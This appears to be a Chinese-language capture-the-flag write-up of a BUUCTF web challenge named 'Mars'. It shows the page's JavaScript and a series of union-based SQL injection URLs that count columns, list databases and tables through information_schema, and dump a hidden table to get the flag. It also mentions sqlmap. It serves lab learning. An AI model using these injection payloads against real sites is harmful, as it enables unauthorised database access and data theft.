进来是这样的场景:用f12进入网络发现有些一样的传参:
发现有个search的传参:(结合源码(ctrl+u)发现有个life on mars这个文件)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 life on mars.js function get_life(query) { $.ajax({ type: "GET", url: "/query?search=" + query, data: "{}", contentType: "application/json; charset=utf-8", dataType: "json", cache: false, success: function(data) { var table_html = '<table id="results"><tr><th>Name</th><th>Description</th></tr>'; $.each(data, function(i, item) { table_html += "<tr><td>" + data[i][0] + "</td><td>" + data[i][1] + "</td></tr>"; }); table_html += "</table>"; $("#results").replaceWith(table_html); }, error: function(msg) { } }); }
该js文件返回的是数据集,那么这里一定查询了数据库,那么就可能存在sql注入漏洞 。那就开始sql注入的流程。
/query?search=
如果地名输入正确,发现返回如下:
开始SQL注入:
1 2 3 有几个字段:http://101a498c-ce4a-4364-9799-d9bdb1912f43.node5.buuoj.cn:81/query?search=hesperia_planum order by 2 查询数据库名称:http://101a498c-ce4a-4364-9799-d9bdb1912f43.node5.buuoj.cn:81/query?search=hesperia_planum union select 1,database() 查询数据表:http://101a498c-ce4a-4364-9799-d9bdb1912f43.node5.buuoj.cn:81/query?search=hesperia_planum union select 1,(SELECT%20group_concat(table_name)%20FROM%20information_schema.tables%20%20WHERE%20table_schema%20=%20%27aliens%27)
到这里就搞不出来了:然后就是
查询所有的数据库 在这个查询中,information_schema.schemata是一个MySQL系统表,其中包含所有数据库的信息。执行这个查询后,MySQL将返回一个包含所有数据库名称的结果集。
这些命令和查询可以在MySQL命令行界面中使用,也可以在MySQL客户端或其他数据库工具中使用。
http://101a498c-ce4a-4364-9799-d9bdb1912f43.node5.buuoj.cn:81/query?search=hesperia_planum%20union%20select%201,(SELECT%20group_concat(schema_name)%20FROM%20information_schema.schemata )
还可以:(直接用sqlmap):
爆出还有一个alien_code这个库:(重复上个的操作)
或者可以:
直接有字段名了:
没有直接给出就手打:
1 http://101a498c-ce4a-4364-9799-d9bdb1912f43.node5.buuoj.cn:81/query?search=amazonis_planitia%20union%20select%20group_concat(id),group_concat(code)%20from%20alien_code.code
完成,获得flag
Author:
odiws
Permalink:
http://odiws.github.io/2024/06/20/Mars/
License:
Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Slogan:
Do you believe in DESTINY ?